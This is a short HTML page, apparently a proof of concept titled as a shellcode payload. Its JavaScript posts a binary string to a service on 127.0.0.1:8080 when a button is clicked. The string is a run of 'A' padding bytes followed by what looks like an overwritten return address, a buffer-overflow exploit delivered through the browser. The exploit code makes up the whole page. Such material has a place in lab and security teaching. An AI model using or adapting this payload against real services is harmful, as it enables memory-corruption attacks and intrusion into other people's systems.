Html Javascript Shellcode Payload

<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" >
    <script>
        function sendBin()
        {
            var req = new XMLHttpRequest();
            var url = "http://127.0.0.1:8080";

            req.open("POST", url, true);

            req.sendAsBinary("\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x12\x0c\x40\x00\x00");
        }
    </script>
</head>
<body>
<h3>Send Binary Data</h3>
<form name="myfrm" >
<input type="submit" value="Submit" onclick="sendBin();"s>
</form>
</body>
</html>